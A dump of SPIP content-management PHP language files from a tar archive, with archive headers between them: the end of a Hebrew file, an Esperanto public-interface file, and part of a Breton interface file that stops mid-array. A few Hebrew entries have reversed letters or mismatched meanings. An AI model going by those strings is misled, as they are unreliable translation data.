'lien_site' => 'אתר',
'logo_article' => 'למס מאמר', # MODIF
'logo_auteur' => 'למס מחבר', # MODIF
'logo_rubrique' => 'למס של כותרת', # MODIF
'logo_site' => 'למס של אתר זה', # MODIF
// M
'module_raccourci' => 'קיצור דרך',
// O
'onglet_contenu' => 'תכות',
'onglet_discuter' => 'לדון',
'onglet_documents' => 'מסמך',
'onglet_proprietes' => 'םינייפאמ',
// P
'plugin_info_automatique_ou' => 'או ...',
'plugins_vue_liste' => 'רשימה',
// R
'repertoire_plugins' => 'ספריה :',
// S
'sans_heure' => 'בלי זמן',
// T
'taille_cache_vide' => 'האתר המטמון ריק.',
'text_article_propose_publication' => 'במאמר מוצע לפרסום.',
'texte_auteurs' => 'המחברים',
'texte_compte_element' => '@count@ אלמנט',
'texte_compte_elements' => '@count@ אלמנטים',
'texte_nouveau_message' => 'הודעה חדשה',
'texte_sous_titre' => 'כתובית',
'texte_statut_attente_validation' => 'אימות ממתינים',
'texte_statut_publies' => 'שפורסם באינטרנט',
'texte_statut_refuses' => 'סירב',
'texte_sur_titre' => 'על כותרת',
'texte_titre_02' => 'כותר :',
'texte_vide' => 'ריק',
'titre_langue_article' => 'שפת המאמר',
'titre_langue_rubrique' => 'שפת המדור',
'titre_page_articles_page' => 'מאמרים',
'titre_page_articles_tous' => 'כל האתר',
'titre_page_auteurs' => 'מבקרים',
'titre_reparation' => 'תיקון',
'trad_delier' => 'לא לקשור את המאמר לתרגומיו',
'trad_new' => 'כתיבת תרגום חדש של המאמר',
// U
'utf8_convert_termine' => 'סיימת!',
// V
'version' => 'מספר :'
);
?>
public_eo.php 0000666 00000007367 15252547432 0007250 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/public?lang_cible=eo
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'accueil_site' => 'Hejmpaĝo',
'article' => 'Artikolo',
'articles' => 'Artikoloj',
'articles_auteur' => 'Artikoloj de tiu aŭtoro',
'articles_populaires' => 'La plej popularaj artikoloj',
'articles_rubrique' => 'Artikoloj el tiu rubriko',
'aucun_article' => 'Neniu artikolo ĉe tiu adreso',
'aucun_auteur' => 'Neniu aŭtoro por tiu adreso',
'aucun_site' => 'Neniu retejo ĉe tiu adreso',
'aucune_breve' => 'Neniu fulm-informo ĉe tiu adreso',
'aucune_rubrique' => 'Neniu rubriko ĉe tiu adreso',
'auteur' => 'Aŭtoro',
'autres' => 'Aliaj',
'autres_breves' => 'Neniu fulm-informo',
'autres_groupes_mots_clefs' => 'Aliaj grupoj de ŝlosilvortoj',
'autres_sites' => 'Aliaj retejoj',
// B
'bonjour' => 'Bonan tagon',
// C
'commenter_site' => 'Komenti tiun retejon',
'contact' => 'Kontakto',
'copie_document_impossible' => 'Estas neeble kopii la dokumenton',
// D
'date' => 'Dato',
'dernier_ajout' => 'Lasta aldono',
'dernieres_breves' => 'Lastaj fulm-informoj',
'derniers_articles' => 'Lastaj artikoloj',
'derniers_commentaires' => 'Lastaj komentoj',
'derniers_messages_forum' => 'Lastaj mesaĝoj publikigitaj en la forumoj',
// E
'edition_mode_texte' => 'Teksta eldono de',
'en_reponse' => 'Responde al :',
'en_resume' => 'Resume',
'envoyer_message' => 'Sendi mesaĝon',
'espace_prive' => 'Privata spaco',
// F
'formats_acceptes' => 'Formatoj akceptitaj : @formats@.',
// H
'hierarchie_site' => 'Hierarkio de la retejo',
// J
'jours' => 'tagoj',
// L
'lien_connecter' => 'Ensaluti',
// M
'meme_auteur' => 'De la sama aŭtoro',
'meme_rubrique' => 'En la sama rubriko',
'memes_auteurs' => 'De samaj aŭtoroj',
'message' => 'Mesaĝo',
'messages_forum' => 'Mesaĝoj',
'messages_recents' => 'La plej freŝaj forum-mesaĝoj',
'mots_clef' => 'Ŝlosilvorto',
'mots_clefs' => 'Ŝlosilvortoj',
'mots_clefs_meme_groupe' => 'Ŝlosilvortoj en la sama grupo',
// N
'navigation' => 'Retumado',
'nom' => 'Nomo',
'nouveautes' => 'La novaĵoj',
'nouveautes_web' => 'Novaĵoj ĉe la reto',
'nouveaux_articles' => 'Novaj artikoloj',
'nouvelles_breves' => 'Novaj fulm-informoj',
// P
'page_precedente' => 'antaŭa paĝo',
'page_suivante' => 'sekvanta paĝo',
'par_auteur' => 'de ',
'participer_site' => 'Por partopreni la vivon de tiu retejo kaj proponi viajn propajn artikolojn, registriĝu ĉi sube. Vi tuj ricevos retleteron indikante ensalutilojn por eniri la privatan spacon.',
'plan_site' => 'Mapo de la retejo',
'popularite' => 'Populareco',
'poster_message' => 'Sendi mesaĝon',
'proposer_site' => 'Vi povas proponi retejon aldonotan al tiu rubriko :',
// R
'repondre_article' => 'Respondi al tiu artikolo',
'repondre_breve' => 'Respondi al tiu fulm-informo',
'resultats_recherche' => 'Serĉo-rezultoj',
'retour_debut_forums' => 'Reen al forumoj-komenco',
'rubrique' => 'Rubriko',
'rubriques' => 'Rubrikoj',
// S
'signatures_petition' => 'Subskriboj',
'site_realise_avec_spip' => 'Retejo pelata de SPIP',
'sites_web' => 'Retejoj',
'sous_rubriques' => 'Sub-rubrikoj',
'spam' => 'Trudmesaĝo',
'suite' => 'sekvo',
'sur_web' => 'Ĉe la reto',
'syndiquer_rubrique' => 'Abonrilatigi tiun rubrikon',
'syndiquer_site' => 'Abonrilatigi la tutan retejon',
// T
'texte_lettre_information' => 'Jen la reteja inform-letero',
'texte_lettre_information_2' => 'Tiu letero enkalkulas la novaĵojn publikigitajn de',
// V
'ver_imprimer' => 'Elprintota versio',
'voir_en_ligne' => 'Vidi konektite',
'voir_squelette' => 'vidi la skeleton de tiu paĝo'
);
?>
spip_br.php 0000666 00000106237 15252547432 0006741 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/spip?lang_cible=br
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// 0
'0_URL' => 'http://listes.rezo.net/mailman/listinfo/spip-dev',
'0_langue' => 'Brezhoneg [br]',
'0_liste' => 'spip-br@rezo.net',
'0_mainteneur' => 'Malo Morvan (malomorvan@yahoo.fr)',
// A
'access_interface_graphique' => 'Distreiñ d’an etrefas grafek klok', # Gwelloc'h e vije ober gant etrefas evit treiñ interface; heñveldra, grafek zo kalz komprenusoc'h eget kevregañ. Dreist-holl e vez komprenet gant an holl hag en implij emañ gant kalz a dud
'access_mode_texte' => 'diskouez an etrefas testenn eeun',
'admin_debug' => 'dizreinañ',
'admin_modifier_article' => 'Kemmañ ar pennad-mañ',
'admin_modifier_auteur' => 'Kemmañ ar skridaozer-mañ',
'admin_modifier_breve' => 'Kemmañ ar berrskrid-mañ',
'admin_modifier_mot' => 'Kemmañ ar ger-stur-mañ',
'admin_modifier_rubrique' => 'Kemmañ ar rubrikenn-mañ',
'admin_recalculer' => 'Hizivaat ar bajenn',
'afficher_trad' => 'diskouez an troidigezhioù',
'alerte_maj_impossible' => '<b>Diwallit !</b> N’eus ket tu da hizivaat an diaz SQL etrezek ar stumm @version@, marteze abalamour d’ur gudenn aotre evit kemmañ an diaz titouroù. Mar plij kit e darempred gant ho herberc’hier.',
'alerte_modif_info_concourante' => 'DIWALLIT : Kemmet eo bet an titour-mañ en ul lec’h all. Setu an talvoud nevez :',
'analyse_xml' => 'Dielfennañ XML',
'annuler' => 'Nullañ',
'antispam_champ_vide' => 'Na lakait netra amañ :',
'articles_recents' => 'Pennadoù nevesañ',
'avis_archive_incorrect' => 'N’eo ket ar restr diell ur restr SPIP',
'avis_archive_invalide' => 'N’eo ket reizh ar restr diell',
'avis_attention' => 'DIWALLIT !',
'avis_champ_incorrect_type_objet' => 'Anv maezienn direizh @name@ evit un draezenn a seurt @type@',
'avis_colonne_inexistante' => 'N’eus ket eus ar bann @col@',
'avis_erreur' => 'Fazi: gwelet amañ a-is',
'avis_erreur_connexion' => 'Fazi kevreañ',
'avis_erreur_cookie' => 'kudenn toupin',
'avis_erreur_fonction_contexte' => 'Fazi programmiñ. Arabat d’an arc’hwel-mañ bezañ galvet er gendestenn-mañ.',
'avis_erreur_mysql' => 'Fazi SQL',
'avis_erreur_sauvegarde' => 'Fazi er savete (@type@ @id_objet@) !',
'avis_erreur_visiteur' => 'N’eus ket tu da dizhout al lodenn brevez',
// B
'barre_a_accent_grave' => 'Ouzhpennañ un A (pennlizherenn) gant un tired-boud warnañ',
'barre_aide' => 'Implijit ar berradennoù tipografek evit pinvidikaat ar pajennaozañ',
'barre_e_accent_aigu' => 'Ouzhpennañ un E (pennlizherenn) gant un tired-lemm warnañ',
'barre_eo' => 'Ouzhpennañ un E en ’O’ (munud)',
'barre_eo_maj' => 'Ouzhpennañ un E en O (pennlizherenn)',
'barre_euro' => 'Ouzhpennañ an arouezenn €',
'barre_gras' => 'Lakaat e {{druz}}',
'barre_guillemets' => 'Gronnañ gant « krochedigoù »',
'barre_guillemets_simples' => 'Gronnañ gant krochedigoù a eil live',
'barre_intertitre' => 'Lakaat da {{{etretitl}}}',
'barre_italic' => 'Lakaat en {italek}',
'barre_lien' => 'Treiñ e [liamm gourskrid->http://...]',
'barre_lien_input' => 'Merkit chomlec’h ho liamm (gallout a rit reiñ ar chomlec’h a-stumm gant http://www.forzhpetra/com pe reiñ niverenn ur pennad eus al lec’hienn-mañ).',
'barre_note' => 'Lakaat da [[Notenn traoñ-pajenn]]',
'barre_paragraphe' => 'Krouiñ ur rannbennad',
'barre_quote' => '<quote>Menegiñ ur gemennadenn</quote>',
'bouton_changer' => 'Kemmañ',
'bouton_chercher' => 'Klask',
'bouton_choisir' => 'Dibab',
'bouton_download' => 'Pellgargañ', # MODIF
'bouton_enregistrer' => 'Enrollañ',
'bouton_radio_desactiver_messagerie_interne' => 'Diweredekaat ar postelerezh diabarzh',
'bouton_radio_envoi_annonces' => 'Kas ar c’hemennoù embann',
'bouton_radio_non_envoi_annonces' => 'Chom hep kas kemennoù',
'bouton_radio_non_envoi_liste_nouveautes' => 'Chom hep kas roll an nevezinti',
'bouton_recharger_page' => 'adkargañ ar bajenn-mañ',
'bouton_telecharger' => 'Pellgargañ',
'bouton_upload' => 'Pellgargañ', # MODIF
'bouton_valider' => 'Kadarnaat',
// C
'cal_apresmidi' => 'endervezh',
'cal_jour_entier' => 'devezh a-bezh',
'cal_matin' => 'beure',
'cal_par_jour' => 'deiziataer deiz-ha-deiz',
'cal_par_mois' => 'deiziataer miz-ha-miz',
'cal_par_semaine' => 'deiziataer sizhun-ha-sizhun',
'choix_couleur_interface' => 'liv',
'choix_interface' => 'dibab an etrefas',
'colonne' => 'Bann',
'confirm_changer_statut' => 'Diwallit, goulennet hoc’h eus ma vo kemmet statud an elfenn-mañ. Ha mennet oc’h da genderc’hel ?',
'correcte' => 'reizh',
// D
'date_aujourdhui' => 'hiziv',
'date_avant_jc' => 'kent J.K.',
'date_dans' => 'a-benn @delai@',
'date_de_mois_1' => '@j@ @nommois@',
'date_de_mois_10' => '@j@ @nommois@',
'date_de_mois_11' => '@j@ @nommois@',
'date_de_mois_12' => '@j@ @nommois@',
'date_de_mois_2' => '@j@ @nommois@',
'date_de_mois_3' => '@j@ @nommois@',
'date_de_mois_4' => '@j@ @nommois@',
'date_de_mois_5' => '@j@ @nommois@',
'date_de_mois_6' => '@j@ @nommois@',
'date_de_mois_7' => '@j@ @nommois@',
'date_de_mois_8' => '@j@ @nommois@',
'date_de_mois_9' => '@j@ @nommois@',
'date_demain' => 'warc’hoazh',
'date_fmt_heures_minutes' => '@h@eur@m@munut',
'date_fmt_jour_heure' => '@jour@ da @heure@',
'date_fmt_jour_mois' => '@jour@ a viz @nommois@',
'date_fmt_jour_mois_annee' => '@jour@ a viz @nommois@ @annee@',
'date_fmt_mois_annee' => '@nommois@ @annee@',
'date_fmt_nomjour_date' => '@nomjour@ @date@',
'date_heures' => 'eur',
'date_hier' => 'dec’h',
'date_il_y_a' => '@delai@ zo',
'date_jnum1' => '1añ',
'date_jnum10' => '10',
'date_jnum11' => '11',
'date_jnum12' => '12',
'date_jnum13' => '13',
'date_jnum14' => '14',
'date_jnum15' => '15',
'date_jnum16' => '16',
'date_jnum17' => '17',
'date_jnum18' => '18',
'date_jnum19' => '19',
'date_jnum2' => 'eil',
'date_jnum20' => '20',
'date_jnum21' => '21',
'date_jnum22' => '22',
'date_jnum23' => '23',
'date_jnum24' => '24',
'date_jnum25' => '25',
'date_jnum26' => '26',
'date_jnum27' => '27',
'date_jnum28' => '28',
'date_jnum29' => '29',
'date_jnum3' => '3',
'date_jnum30' => '30',
'date_jnum31' => '31',
'date_jnum4' => '4',
'date_jnum5' => '5',
'date_jnum6' => '6',
'date_jnum7' => '7',
'date_jnum8' => '8',
'date_jnum9' => '9',
'date_jour_1' => 'Sul',
'date_jour_1_abbr' => 'Sul',
'date_jour_1_initiale' => 'S.',
'date_jour_2' => 'Lun',
'date_jour_2_abbr' => 'Lun',
'date_jour_2_initiale' => 'L.',
'date_jour_3' => 'Meurzh',
'date_jour_3_abbr' => 'Meu.',
'date_jour_3_initiale' => 'M.',
'date_jour_4' => 'Merc’her',
'date_jour_4_abbr' => 'Mer.',
'date_jour_4_initiale' => 'M.',
'date_jour_5' => 'Yaou',
'date_jour_5_abbr' => 'Yaou',
'date_jour_5_initiale' => 'Y.',
'date_jour_6' => 'Gwener',
'date_jour_6_abbr' => 'Gwe.',
'date_jour_6_initiale' => 'Gw.',
'date_jour_7' => 'Sadorn',
'date_jour_7_abbr' => 'Sad.',
'date_jour_7_initiale' => 'S.',
'date_jours' => 'deiz',
'date_minutes' => 'munut',
'date_mois' => 'miz',
'date_mois_1' => 'Genver',
'date_mois_10' => 'Here',
'date_mois_11' => 'Du',
'date_mois_12' => 'Kerzu',
'date_mois_2' => 'C’hwevrer',
'date_mois_3' => 'Meurzh',
'date_mois_4' => 'Ebrel',
'date_mois_5' => 'Mae',
'date_mois_6' => 'Mezheven',
'date_mois_7' => 'Gouere',
'date_mois_8' => 'Eost',
'date_mois_9' => 'Gwengolo',
'date_saison_1' => 'Goañv',
'date_saison_2' => 'nevez-amzer',
'date_saison_3' => 'hañv',
'date_saison_4' => 'diskar-amzer',
'date_secondes' => 'eilenn',
'date_semaines' => 'sizhun',
'date_un_mois' => 'miz',
'date_une_heure' => 'eur',
'date_une_minute' => 'munut',
'date_une_seconde' => 'eilenn',
'date_une_semaine' => 'sizhun',
'dirs_commencer' => 'a-benn kregiñ da vat gant ar staliadur',
'dirs_preliminaire' => 'A-raok kenderc’hel : <b>Renkañ ar gwirioù moned</b>',
'dirs_probleme_droits' => 'Kudenn gant ar gwirioù moned',
'dirs_repertoires_absents' => '<p><b>N’eo ket bet kavet ar c’havlec’hioù-mañ : </b></p><ul>@bad_dirs@.</ul>
<p>Posupl eo e vefe abalamour d’ur fazi impplij pennlizherennoù pe lizherennoù munut e lec’hioù fall.
Gwiriit e klot mat stumm lizherennoù ar c’havlec’hioù gant ar pezh zo diskouezet a-us;
ha ma ne glotont ket, adanvit anezho gant ho meziant FTP evit reizhañ ar gudenn.</p>
<p>Ur wech graet an dra-se e c’hellot </p>',
'dirs_repertoires_suivants' => '<p><b>N’haller ket skrivañ er c’havlec’hioù-mañ : </b></p><ul>@bad_dirs@.</ul>
<p>Implijit ar meziant FTP a-benn kemmañ ar gwirioù evit pep hini.
Displeget eo an hentenn er sturlevr staliañ.</p>
<p>Ur wech graet se e c’helloc’h ',
'double_occurrence' => '@balise@ bet kavet div wech',
// E
'en_cours' => 'war ober',
'envoi_via_le_site' => 'Kas dre al lec’hienn',
'erreur' => 'Fazi',
'erreur_balise_non_fermee' => 'Balizenn ziwezhañ chomet digor :',
'erreur_texte' => 'fazi',
'etape' => 'Pazenn',
// F
'fichier_introuvable' => 'Restr @fichier@ dibosupl da gavout',
'form_deja_inscrit' => 'Enskrivet oc’h c’hoazh.',
'form_email_non_valide' => 'N’eo ket reizh ho postel.',
'form_forum_access_refuse' => 'N’oc’h ket aotreet da vont war al lec’hienn-mañ ken.',
'form_forum_bonjour' => 'Demat @nom@,',
'form_forum_email_deja_enregistre' => 'Enrollet eo ar postel-se dija. Gallout a rit ober gant ho ker-tremen boas neuze.',
'form_forum_identifiant_mail' => 'Emañ ho kod moned nevez o paouez bezañ kaset deoc’h dre bostel.',
'form_forum_identifiants' => 'Titouroù hiniennel',
'form_forum_indiquer_nom_email' => 'Skrivit amañ hoc’h anv hag ho postel. Kaset e vo deoc’h buan ho titouroù hiniennel dre bostel.',
'form_forum_login' => 'Kod kevreañ :',
'form_forum_message_auto' => '(ur gemennadenn emgefre eo homañ)',
'form_forum_pass' => 'ger-tremen :',
'form_forum_probleme_mail' => 'Kudenn postel : n’haller ket kas an titouroù.',
'form_forum_voici1' => 'Setu ho titouroù evit gallout kemer perzh e buhez "@nom_site_spip@" (@adresse_site@) :',
'form_forum_voici2' => 'Setu ho titouroù evit gallout kinnig pennadoù war "@nom_site_spip@" (@adresse_login@) :',
'form_indiquer_email' => 'Skrivit ho postel mar plij.',
'form_indiquer_nom' => 'Skrivit hoc’h anv mar plij.',
'form_indiquer_nom_site' => 'Skrivit anv ho lec’hienn.',
'form_pet_deja_enregistre' => 'Enrollet eo al lec’hienn-mañ c’hoazh',
'form_pet_signature_pasprise' => 'N’eus ket bet dalc’het kont eus ho sinadur.',
'form_prop_confirmer_envoi' => 'Kadarnaat ar c’has',
'form_prop_description' => 'Deskrivadur/evezhiadenn',
'form_prop_enregistre' => 'Enrollet eo bet ho kinnig. Embannet e vo goude bezañ bet asantet gant tud e-karg eus al lec’hienn-mañ.',
'form_prop_envoyer' => 'Kas ur gemennadenn',
'form_prop_indiquer_email' => 'Merkit ur postel reizh mar plij',
'form_prop_indiquer_nom_site' => 'Merkit anv al lec’hienn.',
'form_prop_indiquer_sujet' => 'Merkit ur sujed',
'form_prop_message_envoye' => 'Kaset eo bet ar gemennadenn',
'form_prop_non_enregistre' => 'N’eo ket bet enrollet ho kinnig',
'form_prop_sujet' => 'Sujed',
'form_prop_url_site' => 'Chomlec’h (URL) al lec’hienn', # MODIF
'forum_non_inscrit' => 'N’oc’h ket enskrivet, pe direizh eo ar ger-tremen pe ar chomlec’h.',
'forum_par_auteur' => 'gant @auteur@',
'forum_titre_erreur' => 'Fazi...',
// I
'ical_texte_rss_articles' => 'D’ar chomlec’h-mañ emañ restr «backend» ar pennadoù :',
'ical_texte_rss_articles2' => 'Gallout a rit kaout restroù «backend» evit pennadoù pep rummad al lec’hienn ivez :',
'ical_texte_rss_breves' => 'Bez’ ez eus ivez ur restr enni berrskridoù al lec’hienn. Ma resisait niverenn ur rubrikenn, n’ho po nemet berrskridoù ar rubrikenn-se.',
'icone_a_suivre' => 'Da genderc’hel',
'icone_admin_site' => 'Merañ al lec’hienn',
'icone_agenda' => 'Deiziataer',
'icone_aide_ligne' => 'Skoazell',
'icone_articles' => 'Pennadoù',
'icone_auteurs' => 'Skridaozerien',
'icone_brouteur' => 'Merdeiñ prim',
'icone_configuration_site' => 'Kefluniañ ',
'icone_configurer_site' => 'Kefluniañ ho lec’hienn',
'icone_creer_nouvel_auteur' => 'Krouiñ ur skridaozer nevez',
'icone_creer_rubrique' => 'Krouiñ ur rubrikenn',
'icone_creer_sous_rubrique' => 'Krouiñ un isrubrikenn',
'icone_deconnecter' => 'Digevreañ',
'icone_discussions' => 'Kaozeadennoù',
'icone_doc_rubrique' => 'Teulioù ar rubrikennoù',
'icone_ecrire_article' => 'Skrivañ ur pennad nevez',
'icone_edition_site' => 'Embann',
'icone_gestion_langues' => 'Merañ ar yezhoù',
'icone_informations_personnelles' => 'Titouroù hiniennel',
'icone_interface_complet' => 'Etrefas klok',
'icone_interface_simple' => 'Etrefas eeunaet',
'icone_maintenance_site' => 'Ober war-dro al lec’hienn',
'icone_messagerie_personnelle' => 'Postelerezh hiniennel',
'icone_repartition_debut' => 'Diskouez an dasparzh abaoe an deroù',
'icone_rubriques' => 'Rubrikennoù',
'icone_sauver_site' => 'Saveteiñ al lec’hienn',
'icone_site_entier' => 'Al lec’hienn a-bezh',
'icone_sites_references' => 'Lec’hiennoù menegeret',
'icone_statistiques' => 'Stadegoù al lec’hienn',
'icone_suivi_activite' => 'Heuliañ buhez al lec’hienn',
'icone_suivi_actualite' => 'Emdroadur al lec’hienn',
'icone_suivi_pettions' => 'Heuliañ/merañ ar sinadegoù',
'icone_suivi_revisions' => 'Kemmoù ar pennadoù',
'icone_supprimer_document' => 'Diverkañ an teul-mañ',
'icone_supprimer_image' => 'Diverkañ ar skeudenn-mañ',
'icone_tous_articles' => 'Ho holl bennadoù',
'icone_tous_auteur' => 'An holl skridaozerien',
'icone_visiter_site' => 'Gweladenniñ', # MODIF
'icone_voir_en_ligne' => 'Gwelet enlinenn',
'img_indisponible' => 'skeudenn dibosupl da gaout',
'impossible' => 'dibosupl',
'info_a_suivre' => 'DA GENDERC’HEL»',
'info_acces_interdit' => 'Difennet mont tre',
'info_acces_refuse' => 'Nac’het eo bet deoc’h mon tre',
'info_action' => 'Oberiadenn : @action@',
'info_administrer_rubriques' => 'Gallout a rit merañ ar rubrikenn-mañ hag an isrubrikenndoù enni',
'info_adresse_non_indiquee' => 'N’hoc’h eus ket lakaet chomlec’h ebet da arnodiñ !',
'info_aide' => 'SKOAZELL :',
'info_ajouter_mot' => 'Ouzhpennañ ar ger-mañ',
'info_annonce' => 'KEMENN',
'info_annonces_generales' => 'Kemennoù hollek :',
'info_article_propose' => 'Pennad kinniget',
'info_article_publie' => 'Pennad embannet',
'info_article_redaction' => 'Pennad emeur o skridaozañ',
'info_article_refuse' => 'Pennad nac’het',
'info_article_supprime' => 'Pennad diverket',
'info_articles' => 'Pennadoù',
'info_articles_a_valider' => 'Ar pennadoù da gadarnaat',
'info_articles_proposes' => 'Pennadoù kinniget',
'info_auteurs_nombre' => 'skridaozer(ien) :',
'info_authentification_ftp' => 'Gwiriañ (dre FTP).',
'info_breves_2' => 'berrskridoù',
'info_connexion_refusee' => 'Kevreañ nac’het',
'info_contact_developpeur' => 'Kit e darempred gant un diorroer.',
'info_contenance' => 'El lec’hienn-mañ ez eus :',
'info_contribution' => 'kemennadenn er forom', # MODIF
'info_copyright' => 'Ur meziant dieub eo @spip@, dasparzhet @lien_gpl@.',
'info_copyright_doc' => 'Evit titouroù ouzhpenn, gwelet al lec’hienn <a href="@spipnet@">http://www.spip.net/fr</a>.', # MODIF
'info_copyright_gpl' => 'dindan aotre implijout GPL',
'info_cours_edition' => 'Ar pennadoù emaoc’h o skrivañ',
'info_creer_repertoire' => 'Krouit ur restr pe ur c’havlec’h anvet :',
'info_creer_repertoire_2' => 'en iskavlec’h <b>@repertoire@</b>, ha :',
'info_creer_vignette' => 'krouiñ emgefreek ar skeudennig',
'info_deplier' => 'Displegañ',
'info_descriptif_nombre' => 'deskrivadur(ioù) :',
'info_description' => 'Deskrivadur :',
'info_description_2' => 'Deskrivadur :',
'info_dimension' => 'Ment :',
'info_ecire_message_prive' => 'Skrivañ ur gerig prevez;',
'info_email_invalide' => 'Postel direizh.',
'info_en_cours_validation' => 'Ar pennadoù emaoc’h o skrivañ',
'info_en_ligne' => 'Enlinenn evit poent :',
'info_envoyer_message_prive' => 'Kas ur gerig prevez d’ar skridaozer-mañ',
'info_erreur_requete' => 'Fazi er reked :',
'info_erreur_squelette2' => 'N’eus framm <b>@fichier@</b> ebet da gaout...',
'info_erreur_systeme' => 'Fazi reizhiad (errno @errsys@)',
'info_erreur_systeme2' => 'Marteze eo leun-chouk ar bladenn-galet, pe neuze eo mazaouet an diaz titouroù.<br />
<span style="color:red;">Klaskit <a href=\'@script@\'>ratreañ an diaz</a>, pe kit e darempred gant an herberc’hier.</span>',
'info_fini' => 'Echu eo !',
'info_format_image' => 'Furmadoù skeudenn a c’hell bezañ implijet da sevel skeudennigoù : @gd_formats@.',
'info_format_non_defini' => 'Stumm didermenet',
'info_grand_ecran' => 'Skramm bras',
'info_image_aide' => 'SKOAZELL',
'info_image_process_titre' => 'Hentenn da grouiñ skeudennigoù',
'info_impossible_lire_page' => '<b>Fazi !</b> Dibosupl eo lenn ar bajenn <tt><html>@test_proxy@</html></tt> dre ar proksi',
'info_installation_systeme_publication' => 'O staliañ ar reizhiad embann...',
'info_installer_documents' => 'Gallout a rit staliañ en un doare emgefreek an holl deulioù zo en teuliad @upload@.',
'info_installer_ftp' => 'Dre ma’z oc’h merour e c’hellit staliañ restroù (dre FTP) en teuliad @upload@ deoc’h da c’hallout ober ganto amañ da c’houde.',
'info_installer_images' => 'Er furmadoù JPEG, GIF ha PNG e c’hellit staliañ skeudennoù.',
'info_installer_images_dossier' => 'Staliañ skeudennoù en teuliad @upload@ evit gallout o diuzañ amañ.',
'info_interface_complete' => 'Etrefas klok',
'info_interface_simple' => 'Etrefas eeunaet',
'info_joindre_document_article' => 'Teulioù a eurt-se a c’hellit stagañ ouzh ar pennad-mañ :',
'info_joindre_document_rubrique' => 'Teulioù a seurt-se a c’hellit stagañ ouzh ar rubrikenn-mañ :',
'info_joindre_documents_article' => 'Teulioù a seurt-se a c’hellit stagañ ouzh ho pennad :',
'info_l_article' => 'ar pennad',
'info_la_breve' => 'ar berrskrid',
'info_la_rubrique' => 'ar rubrikenn',
'info_langue_principale' => 'Yezh pennañ al lec’hienn',
'info_largeur_vignette' => '@largeur_vignette@ × @hauteur_vignette@ piksel',
'info_les_auteurs_1' => 'gant @les_auteurs@',
'info_logo_format_interdit' => 'Er furmad @formats@ hepken e vez aotreet al logoioù.',
'info_logo_max_poids' => 'Nebeutoc’h eget @maxi@ e rank al logoioù bezañ (@actuel@ eo ar restr-mañ).',
'info_mail_fournisseur' => 'hoc’hanv@herberc’hier.com',
'info_message_2' => 'KEMENNADENN',
'info_message_supprime' => 'KEMENNADENN BET DIVERKET',
'info_mise_en_ligne' => 'Lakaet war ar rouedad d’an :',
'info_modification_parametres_securite' => 'kemm an arventennoù surentez',
'info_mois_courant' => 'E-kerzh ar miz :',
'info_mot_cle_ajoute' => 'Ar ger-stur-mañ zo bet ouzhpennet',
'info_multi_herit' => 'Yezh dre ziouer',
'info_multi_langues_soulignees' => 'Ar <u>yezhoù islinennet</u> zo bet troet holl destennoù an etrefas enne. Ma tibabit ar yezhoù-se e vo troet o-unan ul lodenn vat eus elfennoù al lec’hienn (deiziadoù, furmskridoù, hag all). Evit ar yezhoù n’int ket islinennet e vo an elfennoù-se e yezh pennañ al lec’hienn.', # MODIF
'info_multilinguisme' => 'Liesyezhegezh',
'info_nom_non_utilisateurs_connectes' => 'N’emañ ket hoc’h anv war roll an implijerien kevreet.',
'info_nom_utilisateurs_connectes' => 'Gwelet e vez hoc’h anv war roll an implijerien kevreet.',
'info_nombre_en_ligne' => 'Bremañ war al lec’hienn :',
'info_non_resultat' => 'Disoc’h ebet evit "@cherche_mot@"',
'info_non_utilisation_messagerie' => 'N’implijit ket postelerezh diabarzh al lec’hienn-mañ.',
'info_nouveau_message' => 'UR GEMENNADENN NEVEZ HOC’H EUS BET',
'info_nouveaux_messages' => '@total_messages@ KEMENNADENN NEVEZ HOC’H EUS BET',
'info_numero_abbreviation' => 'Niv. ',
'info_obligatoire' => 'Ret eo deoc’h reiñ an titour-mañ',
'info_pense_bete' => 'NOTENNIG-EÑVOR',
'info_petit_ecran' => 'Skramm bihan',
'info_petition_close' => 'Kloz eo ar sinadeg',
'info_pixels' => 'piksel',
'info_plusieurs_mots_trouves' => 'Meur a c’her-stur zo bet kavet evit "@cherche_mot@":',
'info_portfolio_automatique' => 'Portfolio emgefre :',
'info_premier_resultat' => '[@debut_limit@ disoc’h kentañ diwar @total@]',
'info_premier_resultat_sur' => '[@debut_limit@ disoc’h kentañ diwar @total@]',
'info_propose_1' => '[@nom_site_spip@] a ginnig : @titre@',
'info_propose_2' => 'Pennad bet kinniget
---------------',
'info_propose_3' => 'Kinnig a reer embann ar pennad "@titre@".',
'info_propose_4' => 'Pedet oc’h da zont d’e lenn ha da reiñ hoc’h ali',
'info_propose_5' => 'er forom stag outañ. Kavet e vo er chomlec’h-mañ :',
'info_publie_01' => 'Kadarnaet eo bet ar pennad "@titre@" gant @connect_nom@.',
'info_publie_1' => '[@nom_site_spip@] A EMBANN : @titre@',
'info_publie_2' => 'Pennad embannet
--------------',
'info_rechercher' => 'Klask',
'info_rechercher_02' => 'Klask :',
'info_remplacer_vignette' => 'Erlec’hiañ ar skeudennig dre ziouer gant ul logo deoc’h :',
'info_sans_titre_2' => 'titl ebet',
'info_selectionner_fichier' => 'Gallout a rit diuzañ ur restr eus an teuliad @upload@',
'info_selectionner_fichier_2' => 'Diuzañ ur restr :',
'info_supprimer_vignette' => 'diverkañ ar skeudennig',
'info_symbole_bleu' => 'Talvezout a ra an arouez <b>glas</b> evit un <b>notennig-eñvor</b>: da lavaret eo ur gemennadenn evidoc’h hepken.',
'info_symbole_jaune' => 'Talvezout a ra an arouez <b>melen</b> evit ur <b>c’hemenn d’an holl skridaozerien</b> : a c’hell bezañ kemmet gant ur merour ha lennet gant an holl skridaozerien.',
'info_symbole_vert' => 'Talvezout a ra an arouez <b>gwer</b> evit ar <b>c’hemennadennoù bet eskemmet etre implijerien all</b> al lec’hienn.',
'info_telecharger_nouveau_logo' => 'Pellgargañ ul logo nevez :',
'info_telecharger_ordinateur' => 'Pellgargañ adal hoc’h urzhiataer :',
'info_tous_resultats_enregistres' => '[enrollet e vez an holl discoc’hoù]',
'info_tout_afficher' => 'Diskouez pep tra',
